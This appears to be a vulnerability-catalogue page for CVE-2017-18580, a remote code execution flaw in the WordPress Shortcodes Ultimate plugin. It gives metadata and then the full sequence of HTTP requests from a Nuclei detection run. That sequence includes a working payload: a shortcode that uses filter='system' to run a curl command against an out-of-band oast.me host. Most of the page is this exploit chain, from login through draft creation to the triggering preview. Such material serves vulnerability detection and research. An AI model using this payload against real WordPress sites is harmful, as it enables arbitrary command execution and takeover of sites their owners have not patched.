| Title | WordPress Shortcodes Ultimate <= 5.0.0 - Authenticated Remote Code Execution |
|---|---|
| Author | 0x_Akoko |
| Severity | Critical |
| Impact | Remote attackers can execute arbitrary code on the server, potentially leading to full site compromise. |
| Remediation | Update to version 5.0.1 or later. |
| CVSS Score | 8.8 |
| EPSS Score | 0.75969 |
| CVE ID | CVE-2017-18580 |
| CWE ID | CWE-94 |
| Tags | cve cve2017 wordpress wp-plugin shortcodes-ultimate rce authenticated oast wp vkev |
Shortcodes Ultimate plugin before 5.0.1 for WordPress contains a remote code execution caused by a filter in meta, post, or user shortcode, letting remote attackers execute arbitrary code, exploit requires sending crafted shortcode data.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=E3fRUM&pwd=fr3syC&wp-submit=Log+In
GET /wp-admin/post-new.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Content-Length: 233
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=editpost&post_ID=o4bBi6&post_status=draft&post_type=post&_wpnonce=huo5jK&post_title=nuclei-rce-test&content=%5Bsu_meta+key%3D1+post_id%3D1+default%3D%27curl+d5jqcr9le0o4874ps95gpq9xbr3ody35y.oast.me%27+filter%3D%27system%27%5D
GET /?p=o4bBi6&preview=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18580.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-18580.pcap
N/AN/A